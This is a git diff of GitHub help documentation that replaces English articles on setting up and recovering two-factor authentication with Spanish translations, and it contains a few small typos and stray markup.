--- a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
+++ b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring two-factor authentication recovery methods
-intro: You can set up a variety of recovery methods to access your account if you lose your two-factor authentication credentials.
+title: Configurar la autenticación de dos factores mediante métodos de recuperación
+intro: Puedes configurar diversos métodos de recuperación para acceder a tu cuenta si pierdes tus credenciales de autenticación de dos factores.
 redirect_from:
   - /articles/downloading-your-two-factor-authentication-recovery-codes
   - /articles/setting-a-fallback-authentication-number
@@ -16,75 +16,72 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Configure 2FA recovery
+shortTitle: Configurar la recuperación de 2FA
 ---
-In addition to securely storing your two-factor authentication recovery codes, we strongly recommend configuring one or more additional recovery methods.
 
-## Downloading your two-factor authentication recovery codes
+Además de almacenar tus códigos de recuperación de autenticación de dos factores de manera segura, recomendamos configurar uno o más métodos de recuperación adicionales.
 
-{% data reusables.two_fa.about-recovery-codes %} You can also download your recovery codes at any point after enabling two-factor authentication.
+## Descargar tus códigos de recuperación de autenticación de dos factores
 
-To keep your account secure, don't share or distribute your recovery codes. We recommend saving them with a secure password manager, such as:
+{% data reusables.two_fa.about-recovery-codes %} También puedes descargar tus códigos de recuperación en cualquier punto luego de habilitar la autenticación de dos factores.
+
+Para mantener la cuenta segura, no compartas ni distribuyas tus códigos de recuperación. Recomendamos guardarlos en un administrador de contraseñas seguro, como:
 - [1Password](https://1password.com/)
 - [LastPass](https://lastpass.com/)
 
-If you generate new recovery codes or disable and re-enable 2FA, the recovery codes in your security settings automatically update.
+Si generas nuevos códigos de recuperación o inhabilitas y vuelves a habilitar 2FA, los códigos de recuperación de tus parámetros de seguridad se actualizarán automáticamente.
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.show-recovery-codes %}
-4. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
-    - To save your recovery codes on your device, click **Download**.
-    - To save a hard copy of your recovery codes, click **Print**.
-    - To copy your recovery codes for storage in a password manager, click **Copy**.
-  ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
+4. Guarda tus códigos de recuperación en un lugar seguro. Tus códigos de recuperación te ayudarán a regresar a tu cuenta si pierdes acceso.
+    - Para guardar tus códigos de recuperación en tu dispositivo, haz clic en **Download** (Descargar).
+    - Para guardar una copia impresa de tus códigos de recuperación, haz clic en **Print** (Imprimir).
+    - Para copiar tus códigos de recuperación a fin de almacenarlo en un administrador de contraseñas, haz clic en **Copy** (Copiar). ![Lista de códigos de recuperación con opción para descargar, imprimir o copiar los códigos](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
 
-## Generating a new set of recovery codes
+## Generar un nuevo conjunto de códigos de recuperación
 
-Once you use a recovery code to regain access to your account, it cannot be reused. If you've used all 16 recovery codes, you can generate another list of codes. Generating a new set of recovery codes will invalidate any codes you previously generated.
+Una vez que usas un código de recuperación para recuperar el acceso a tu cuenta, no puedes volver a usarlo. Si has usado los 16 códigos de recuperación, puedes generar otra lista de códigos. La generación de un nuevo conjunto de códigos de recuperación invalidará todos los códigos que generaste previamente.
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.show-recovery-codes %}
-3. To create another batch of recovery codes, click **Generate new recovery codes**.
-	![Generate new recovery codes button](/assets/images/help/2fa/generate-new-recovery-codes.png)
+3. Para crear otro lote de códigos de recuperación, haz clic en **Generate new recovery codes** (Generar nuevos códigos de recuperación). ![Botón para generar nuevos códigos de recuperación](/assets/images/help/2fa/generate-new-recovery-codes.png)
 
-## Configuring a security key as an additional two-factor authentication method
+## Configurar una clave de seguridad como un método de autenticación de dos factores adicional
 
-You can set up a security key as a secondary two-factor authentication method, and use the security key to regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+Puedes configurar una clave de seguridad como un método de autenticación de dos factores secundario, y usar la clave de seguridad para recuperar el acceso a tu cuenta. Para obtener más información, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)".
 
 {% ifversion fpt or ghec %}
 
-## Setting a fallback authentication number
+## Configurar un número de autenticación de reserva
 
-You can provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
+Puedes brindar un segundo número para un dispositivo de reserva. Si pierdes acceso a tu dispositivo primario y a tus códigos de recuperación, un número de SMS de respaldo puede volver a brindarte acceso a tu cuenta.
 
-You can use a fallback number regardless of whether you've configured authentication via text message or TOTP mobile application.
+Puedes usar un número de reserva independientemente de que hayas configurado la autenticación mediante un mensaje de texto o aplicación móvil TOTP.
 
 {% warning %}
 
-**Warning:** Using a fallback number is a last resort. We recommend configuring additional recovery methods if you set a fallback authentication number.
-- Bad actors may attack cell phone carriers, so SMS authentication is risky.
-- SMS messages are only supported for certain countries outside the US; for the list, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
+**Advertencia:** Usar un número de reserva es tu último recurso. Recomendamos configurar métodos de recuperación adicionales si estableces un número de autenticación de reserva.
+- Los malos actores pueden atacar a los proveedores de teléfono celular, de manera que la autenticación SMS es riesgosa.
+- Los mensajes SMS solo son compatibles para determinados países fuera de los EE. UU., para conocer la lista, consulta "[Países donde la autenticación SMS es compatible](/articles/countries-where-sms-authentication-is-supported)".
 
 {% endwarning %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Next to "Fallback SMS number", click **Add**.
-![Add fallback SMS number button](/assets/images/help/2fa/add-fallback-sms-number-button.png)
-4. Under "Fallback SMS number", click **Add fallback SMS number**.
-![Add fallback SMS number text](/assets/images/help/2fa/add_fallback_sms_number_text.png)
-5. Select your country code and type your mobile phone number, including the area code. When your information is correct, click **Set fallback**.
-	![Set fallback SMS number](/assets/images/help/2fa/2fa-fallback-number.png)
+3. Al lado de "Fallback SMS number" (Número de SMS de reserva), haz clic en **Add** (Agregar). ![Botón para agregar número de SMS de reserva](/assets/images/help/2fa/add-fallback-sms-number-button.png)
+4. En "Fallback SMS number" (Número de SMS de reserva), haz clic en **Add fallbacck SMS number (Agregar número de SMS de reserva). ![Agregar texto al número de SMS de reserva](/assets/images/help/2fa/add_fallback_sms_number_text.png)</p></li>
+5
+Selecciona tu código de país y escribe el número de teléfono móvil, incluido el número de área. Cuando la información es correcta, haz clic en **Set fallback** (Establecer reserva). ![Establecer número de SMS de reserva](/assets/images/help/2fa/2fa-fallback-number.png)</ol>
 
-After setup, the backup device will receive a confirmation SMS.
+Después de la configuración, el dispositivo de copia de seguridad recibirá un SMS de confirmación.
 
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
-- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- "[Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication)"
+- [Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)"
+- "[Acceder {% data variables.product.prodname_dotcom %} utilizando autenticación de dos factores](/articles/accessing-github-using-two-factor-authentication)"
+- [Recuperar tu cuenta si pierdes tus credenciales de autenticación de dos factores](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
diff --git a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
index b1b364e782..a632ed5863 100644
--- a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
+++ b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring two-factor authentication
-intro: You can choose among multiple options to add a second source of authentication to your account.
+title: Configurar la autenticación de dos factores
+intro: Puedes elegir entre varias opciones para añadir una segunda fuente de autenticación a tu cuenta.
 redirect_from:
   - /articles/configuring-two-factor-authentication-via-a-totp-mobile-app
   - /articles/configuring-two-factor-authentication-via-text-message
@@ -14,128 +14,119 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Configure 2FA
+shortTitle: Configurar la 2FA
 ---
-You can configure two-factor authentication using a mobile app{% ifversion fpt or ghec %} or via text message{% endif %}. You can also add a security key.
 
-We strongly recommend using a time-based one-time password (TOTP) application to configure 2FA.{% ifversion fpt or ghec %} TOTP applications are more reliable than SMS, especially for locations outside the United States.{% endif %} TOTP apps support the secure backup of your authentication codes in the cloud and can be restored if you lose access to your device.
+Puedes configurar la autenticación de dos factores usando una app móvil {% ifversion fpt or ghec %} o mediante un mensaje de texto{% endif %}. También puedes agregar una clave de seguridad.
+
+Recomendamos encarecidamente el uso de una contraseña única basada en el tiempo (TOTP) para configurar 2FA.{% ifversion fpt or ghec %}Las aplicaciones TOTP son más confiables que los SMS, especialmente para las ubicaciones fuera de los EE. UU.{% endif %}Las apps TOTP respaldan las copias de seguridad de los códigos de autenticación en la nube y pueden restaurarse si pierdes acceso a tu dispositivo.
 
 {% warning %}
 
-**Warning:**
-- If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a private repository of an organization that requires two-factor authentication, you must leave the organization before you can disable 2FA on {% data variables.product.product_location %}.
-- If you disable 2FA, you will automatically lose access to the organization and any private forks you have of the organization's private repositories. To regain access to the organization and your forks, re-enable two-factor authentication and contact an organization owner.
+**Advertencia:**
+- Si eres un miembro{% ifversion fpt or ghec %}, gerente de facturación{% endif %} o colaborador externo de un repositorio privado de una organización que requiere autenticación de dos factores, debes salir de la organización antes de que puedas inhabilitar 2FA en {% data variables.product.product_location %}.
+- Si inhabilitas 2FA, automáticamente perderás acceso a la organización y a cualquier bifurcación privada que tengas de los repositorios privados de la organización. Para volver a obtener acceso a la organización y a tus bifurcaciones, habilita nuevamente la autenticación de dos factores y comunícate con un propietario de la organización.
 
 {% endwarning %}
 
 {% ifversion fpt or ghec %}
 
-If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you cannot configure 2FA for your {% data variables.product.prodname_managed_user %} account. 2FA should be configured through your identity provider. 
+Si eres miembro de una {% data variables.product.prodname_emu_enterprise %}, no podrás configurar la 2FA para tu cuenta de {% data variables.product.prodname_managed_user %}. La 2FA debe configurarse mediante tu proveedor de identidad.
 
 {% endif %}
 
-## Configuring two-factor authentication using a TOTP mobile app
+## Configurar la autenticación de dos factores mediante una app móvil TOTP
 
-A time-based one-time password (TOTP) application automatically generates an authentication code that changes after a certain period of time. We recommend using cloud-based TOTP apps such as:
+Una aplicación de contraseña única basada en el tiempo (TOTP) genera automáticamente un código de autenticación que cambia después de un cierto período de tiempo. Recomendamos usar apps TOTP basadas en la nube como:
 - [1Password](https://support.1password.com/one-time-passwords/)
 - [Authy](https://authy.com/guides/github/)
 - [LastPass Authenticator](https://lastpass.com/auth/)
-- [Microsoft Authenticator](https://www.microsoft.com/en-us/account/authenticator/)
+- [Autenticador de Microsoft](https://www.microsoft.com/en-us/account/authenticator/)
 
 {% tip %}
 
-**Tip**: To configure authentication via TOTP on multiple devices, during setup, scan the QR code using each device at the same time. If 2FA is already enabled and you want to add another device, you must re-configure 2FA from your security settings.
+**Sugerencia**: Para configurar la autenticación mediante TOTP en múltiples dispositivos, durante la configuración, escanea el código QR usando todos los dispositivos al mismo tiempo. Si 2FA ya está habilitado y deseas agregar otro dispositivo, debes volver a configurar 2FA desde tus parámetros de seguridad.
 
 {% endtip %}
 
-1. Download a TOTP app.
+1. Descargar una app TOTP.
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.enable-two-factor-authentication %}
 {%- ifversion fpt or ghes > 3.1 %}
-5. Under "Two-factor authentication", select **Set up using an app** and click **Continue**.
-6. Under "Authentication verification", do one of the following:
-    - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
-    - If you can't scan the QR code, click **enter this text code** to see a code that you can manually enter in your TOTP app instead.
-    ![Click enter this code](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
-7. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code from the application". If your recovery codes are not automatically displayed, click **Continue**.
-![TOTP enter code field](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
+5. Debajo de "Autenticación bifactorial", selecciona **Configurar utilizando una app** y haz clic en **Continuar**.
+6. Debajo de "Verificación de autenticación", realiza alguan de las siguientes acciones:
+    - Escanea el código QR con la app del dispositivo móvil. Luego de escanear, la app muestra un código de seis dígitos que puedes ingresar en {% data variables.product.product_name %}.
+    - Si no puedes escanear el código QR, haz clic en **ingresa este código de texto** para ver un código que puedas ingresar manualmente en tu app de TOTP en su lugar. ![Haz clic para ingresar este código](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
+7. La aplicación móvil TOTP guarda tu cuenta en {% data variables.product.product_location %} y genera un código de autenticación nuevo cada pocos segundos. En {% data variables.product.product_name %}, teclea el código en el campo debajo de "Ingresa el código de seis dígitos de la aplicación". Si tus códigos de recuperación no se muestran automáticamente, haz clic en **Continuar**. ![Campo para ingresar código de TOTP](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
 {% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
 {%- else %}
-5. On the Two-factor authentication page, click **Set up using an app**.
-6. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
-    - To save your recovery codes on your device, click **Download**.
-    - To save a hard copy of your recovery codes, click **Print**.
-    - To copy your recovery codes for storage in a password manager, click **Copy**.
-    ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
-7. After saving your two-factor recovery codes, click **Next**.
-8. On the Two-factor authentication page, do one of the following:
-    - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
-    - If you can't scan the QR code, click **enter this text code** to see a code you can copy and manually enter on {% data variables.product.product_name %} instead.
-    ![Click enter this code](/assets/images/help/2fa/totp-click-enter-code.png)
-9. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, on the 2FA page, type the code and click **Enable**.
-	![TOTP Enable field](/assets/images/help/2fa/totp-enter-code.png)
+5. En la página de autenticación de dos factores, haz clic en **Set up using an app** (Configurar mediante una app).
+6. Guarda tus códigos de recuperación en un lugar seguro. Tus códigos de recuperación te ayudarán a regresar a tu cuenta si pierdes acceso.
+    - Para guardar tus códigos de recuperación en tu dispositivo, haz clic en **Download** (Descargar).
+    - Para guardar una copia impresa de tus códigos de recuperación, haz clic en **Print** (Imprimir).
+    - Para copiar tus códigos de recuperación a fin de almacenarlo en un administrador de contraseñas, haz clic en **Copy** (Copiar). ![Lista de códigos de recuperación con opción para descargar, imprimir o copiar los códigos](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
+7. Después de guardar tu código de recuperación de dos factores, haz clic en **Next** (Siguiente).
+8. En la página de autenticación de dos factores, realiza una de las siguientes opciones:
+    - Escanea el código QR con la app del dispositivo móvil. Luego de escanear, la app muestra un código de seis dígitos que puedes ingresar en {% data variables.product.product_name %}.
+    - Si no puedes escanear el código QR, haz clic en **enter this text code** (escribir este código de texto) para ver un código que puedas copiar e ingresar manualmente en {% data variables.product.product_name %}. ![Haz clic para ingresar este código](/assets/images/help/2fa/totp-click-enter-code.png)
+9. La aplicación móvil TOTP guarda tu cuenta en {% data variables.product.product_location %} y genera un código de autenticación nuevo cada pocos segundos. En {% data variables.product.product_name %}, en la página 2FA, escribe el código y haz clic en **Enable** (Habilitar). ![Campo TOTP Enable (Habilitar TOTP)](/assets/images/help/2fa/totp-enter-code.png)
 {%- endif %}
 {% data reusables.two_fa.test_2fa_immediately %}
 
 {% ifversion fpt or ghec %}
 
-## Configuring two-factor authentication using text messages
+## Configurar la autenticación de dos factores mediante mensajes de texto
 
-If you're unable to authenticate using a TOTP mobile app, you can authenticate using SMS messages. You can also provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
+Si no puedes habilitar la autenticación mediante una app móvil TOTP, puedes autenticar mediante mensajes SMS. También puedes brindar un segundo número para un dispositivo de reserva. Si pierdes acceso a tu dispositivo primario y a tus códigos de recuperación, un número de SMS de respaldo puede volver a brindarte acceso a tu cuenta.
 
-Before using this method, be sure that you can receive text messages. Carrier rates may apply.
+Antes de usar este método, asegúrate de que puedes recibir mensajes de texto. Es posible que se apliquen tarifas de protador.
 
 {% warning %}
 
-**Warning:** We **strongly recommend** using a TOTP application for two-factor authentication instead of SMS. {% data variables.product.product_name %} doesn't support sending SMS messages to phones in every country. Before configuring authentication via text message, review the list of countries where {% data variables.product.product_name %} supports authentication via SMS. For more information, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
+**Advertencia:** **Recomendamos enérgicamente** el uso de una aplicación TOTP para la autenticación de dos factores en lugar de SMS. {% data variables.product.product_name %} no admite el envío de mensajes SMS a teléfonos en todos los países. Antes de configurar la autenticación a través de mensaje de texto, revisa la lista de países donde {% data variables.product.product_name %} respalda la autenticación mediante SMS. Para obtener más información, consulta "[Países donde es compatible la autenticación SMS](/articles/countries-where-sms-authentication-is-supported)".
 
 {% endwarning %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.enable-two-factor-authentication %}
-4. Under "Two-factor authentication", select **Set up using SMS** and click **Continue**.
-5. Under "Authentication verification", select your country code and type your mobile phone number, including the area code. When your information is correct, click **Send authentication code**.
+4. Debajo de la "Autenticación bifactorial", selecciona **Configurar utilizando SMS** y haz clic en **Continuar**.
+5. Debajo de "Verificación de autenticación", selecciona el código de tu país y teclea tu número de teléfono móvil, incluyendo el código de área. Cuando la información es correcta, haz clic en **Send authentication code** (Enviar código de autenticación).
 
-  ![2FA SMS screen](/assets/images/help/2fa/2fa_wizard_sms_send.png)
+  ![Pantalla 2FA SMS](/assets/images/help/2fa/2fa_wizard_sms_send.png)
 
-6. You'll receive a text message with a security code. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code sent to your phone" and click **Continue**.
+6. Recibirás un mensaje de texto con un código de seguridad. En {% data variables.product.product_name %}, teclea el código en el campo debajo de "Ingresa el código de seis dígitos que se envió a tu teléfono" y haz clic en **Continuar**.
 
-  ![2FA SMS continue field](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png)
+  ![Campo 2FA SMS continue (Continuación de 2FA SMS)](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png)
 {% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
 {% data reusables.two_fa.test_2fa_immediately %}
 
 {% endif %}
 
-## Configuring two-factor authentication using a security key
+## Configurar la autenticación de dos factores mediante una clave de seguridad
 
 {% data reusables.two_fa.after-2fa-add-security-key %}
 
-On most devices and browsers, you can use a physical security key over USB or NFC. Some browsers can use the fingerprint reader, facial recognition, or password/PIN on your device as a security key.
+En muchos dispositivos y buscadores, puedes utilizar una llave de seguridad física por USB o NFC. Algunos buscadores utilizan un lector de huella digital, reconocimiento facial o contraseña/NIP en tu dispositivo a modo de llave de seguridad.
 
-Authentication with a security key is *secondary* to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}. If you lose your security key, you'll still be able to use your phone's code to sign in.
+La autenticación con una clave de seguridad es *secundaria* para la autenticación con una aplicación TOTP{% ifversion fpt or ghec %} o un mensaje de texto{% endif %}. Si pierdes tu llave de seguridad, aún podrás utilizar tu código de teléfono para ingresar.
 
-1. You must have already configured 2FA via a TOTP mobile app{% ifversion fpt or ghec %} or via SMS{% endif %}.
-2. Ensure that you have a WebAuthn compatible security key inserted into your computer.
+1. Ya debes tener configurado 2FA mediante una app móvil TOTP{% ifversion fpt or ghec %} o mediante SMS{% endif %}.
+2. Asegúrate de que tengas una llave de seguridad compatible con WebAuthn insertada en tu computadora.
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-5. Next to "Security keys", click **Add**.
-  ![Add security keys option](/assets/images/help/2fa/add-security-keys-option.png)
-6. Under "Security keys", click **Register new security key**.
-  ![Registering a new security key](/assets/images/help/2fa/security-key-register.png)
-7. Type a nickname for the security key, then click **Add**.
-  ![Providing a nickname for a security key](/assets/images/help/2fa/security-key-nickname.png)
-8. Activate your security key, following your security key's documentation.
-  ![Prompt for a security key](/assets/images/help/2fa/security-key-prompt.png)
-9.  Confirm that you've downloaded and can access your recovery codes. If you haven't already, or if you'd like to generate another set of codes, download your codes and save them in a safe place. If you lose access to your account, you can use your recovery codes to get back into your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
-	![Download recovery codes button](/assets/images/help/2fa/2fa-recover-during-setup.png)
+5. Al lado de "Security keys" (Claves de seguridad), haz clic en **Add** (Agregar). ![Agrega la opción de las claves de seguridad](/assets/images/help/2fa/add-security-keys-option.png)
+6. En "Security keys" (Claves de seguridad), haz clic en **Register new security key** (Registrar clave de seguridad nueva). ![Registrar una nueva clave de seguridad](/assets/images/help/2fa/security-key-register.png)
+7. Escribe un sobrenombre para la clave de seguridad, luego haz clic en **Add** (Agregar). ![Porporcionar un sobrenombre para una clave de seguridad](/assets/images/help/2fa/security-key-nickname.png)
+8. Activa tu clave de seguridad, seguida por la documentación de tu clave de seguridad.![Solicitar una clave de seguridad](/assets/images/help/2fa/security-key-prompt.png)
+9.  Confirma que has descargado tus códigos de recuperación y puedes acceder a ellos. Si aún no lo has hecho, o si deseas generar otro conjunto de códigos, descarga tus códigos y guárdalos en un lugar seguro. Si pierdes el acceso a tu cuenta, puedes usar tus códigos de recuperación para volver a ingresar a tu cuenta. Para obtener más información, consulta "[Recuperar tu cuenta si pierdes tus credenciales de 2FA](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)". ![Botón Download recovery codes (Descargar códigos de recuperación)](/assets/images/help/2fa/2fa-recover-during-setup.png)
 {% data reusables.two_fa.test_2fa_immediately %}
 
-## Further reading
+## Leer más
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
-- "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)"
+- "[Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication)"
+- [Configurar métodos de recuperación de autenticación de dos factores](/articles/configuring-two-factor-authentication-recovery-methods)"
+- "[Acceder {% data variables.product.prodname_dotcom %} utilizando autenticación de dos factores](/articles/accessing-github-using-two-factor-authentication)"
+- "[Recuperar tu cuenta si pierdes tus credenciales 2FA](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)"
diff --git a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
index 84d2bd82bf..1750701d7e 100644
--- a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
+++ b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
@@ -1,6 +1,6 @@
 ---
-title: Securing your account with two-factor authentication (2FA)
-intro: 'You can set up your account on {% data variables.product.product_location %} to require an authentication code in addition to your password when you sign in.'
+title: Asegurar tu cuenta con autenticación de dos factores (2FA)
+intro: 'Puedes configurar tu cuenta de {% data variables.product.product_location %} para que requiera un código de autenticación adicionalmente a tu contraseña cuando inicies sesión.'
 redirect_from:
   - /categories/84/articles
   - /categories/two-factor-authentication-2fa
@@ -21,6 +21,6 @@ children:
   - /changing-two-factor-authentication-delivery-methods-for-your-mobile-device
   - /countries-where-sms-authentication-is-supported
   - /disabling-two-factor-authentication-for-your-personal-account
-shortTitle: Secure your account with 2FA
+shortTitle: Asegurar tu cuenta con 2FA
 ---
 
diff --git a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
index b734154e2b..da0a24aa20 100644
--- a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
+++ b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
@@ -1,6 +1,6 @@
 ---
-title: Recovering your account if you lose your 2FA credentials
-intro: 'If you lose access to your two-factor authentication credentials, you can use your recovery codes, or another recovery option, to regain access to your account.'
+title: Recuperar tu cuenta si pierdes tus credenciales 2FA
+intro: 'Si pierdes el acceso a tus credenciales de autenticación de dos factores, puedes utilizar tus códigos de recuperación, o cualquier otra opción de recuperación, para recuperar el acceso a tu cuenta.'
 redirect_from:
   - /articles/recovering-your-account-if-you-lost-your-2fa-credentials
   - /articles/authenticating-with-an-account-recovery-token
@@ -13,75 +13,68 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Recover an account with 2FA
+shortTitle: Recuperar una cuenta con 2FA
 ---
+
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning**: {% data reusables.two_fa.support-may-not-help %}
+**Advertencia**: {% data reusables.two_fa.support-may-not-help %}
 
 {% endwarning %}
 
 {% endif %}
 
-## Using a two-factor authentication recovery code
+## Utilizar un código de recuperación de autenticación de dos factores
 
-Use one of your recovery codes to automatically regain entry into your account. You may have saved your recovery codes to a password manager or your computer's downloads folder. The default filename for recovery codes is `github-recovery-codes.txt`. For more information about recovery codes, see "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)."
+Utiliza uno de tus códigos de recuperación para recuperar automáticamente el ingreso a tu cuenta. Es posible que hayas guardado tus códigos de recuperación en un administrador de contraseñas o en la carpeta de descargas de tu computadora. El nombre de archivo por defecto para códigos de recuperación es `github-recovery-codes.txt`. Para obtener más información acerca de códigos de recuperación, consulta "[Configurar métodos de recuperación de autenticación de dos factores](/articles/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)."
 
 {% data reusables.two_fa.username-password %}{% ifversion fpt or ghec %}
-2. Under "Having Problems?", click **Enter a two-factor recovery code**.
-  ![Link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png){% else %}
-2. On the 2FA page, under "Don't have your phone?", click **Enter a two-factor recovery code**.
-  ![Link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %}
-3. Type one of your recovery codes, then click **Verify**.
-  ![Field to type a recovery code and Verify button](/assets/images/help/2fa/2fa-type-verify-recovery-code.png)
+2. Da clic en **Ingresar un código de recuperación de dos factores** debajo de "¿Tienes Problemas?". ![Link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png){% else %}
+2. En la página 2FA, dentro de "Don't have your phone?" (¿No tienes tu teléfono?), haz clic en **Enter a two-factor recovery code (Ingresar un código de recuperación de dos factores)**. ![Link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %}
+3. Escribe uno de tus códigos de recuperación, después haz clic en **Verify (Verificar)**. ![Campo para escribir un código de recuperación y botón Verificar](/assets/images/help/2fa/2fa-type-verify-recovery-code.png)
 
 {% ifversion fpt or ghec %}
-## Authenticating with a fallback number
+## Autenticar con un número de reserva
 
-If you lose access to your primary TOTP app or phone number, you can provide a two-factor authentication code sent to your fallback number to automatically regain access to your account.
+Si pierdes el acceso a tu app TOTP principal o número de teléfono, puedes proporcionar un código de autenticación de dos factores enviado a tu número de reserva para recuperar automáticamente el acceso a tu cuenta.
 {% endif %}
 
-## Authenticating with a security key
+## Autenticar con una clave de seguridad
 
-If you configured two-factor authentication using a security key, you can use your security key as a secondary authentication method to automatically regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+Si has configurado autenticación de dos factores utilizando una clave de seguridad, puedes utilizar tu clave de seguridad como un método de autenticación secundario para obtener acceso a tu cuenta automáticamente. Para obtener más información, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)".
 
 {% ifversion fpt or ghec %}
-## Authenticating with a verified device, SSH token, or personal access token
+## Autentificarse con un dispositivo verificado, token SSH, o token de acceso personal
 
-If you know your {% data variables.product.product_name %} password but don't have the two-factor authentication credentials or your two-factor authentication recovery codes, you can have a one-time password sent to your verified email address to begin the verification process and regain access to your account.
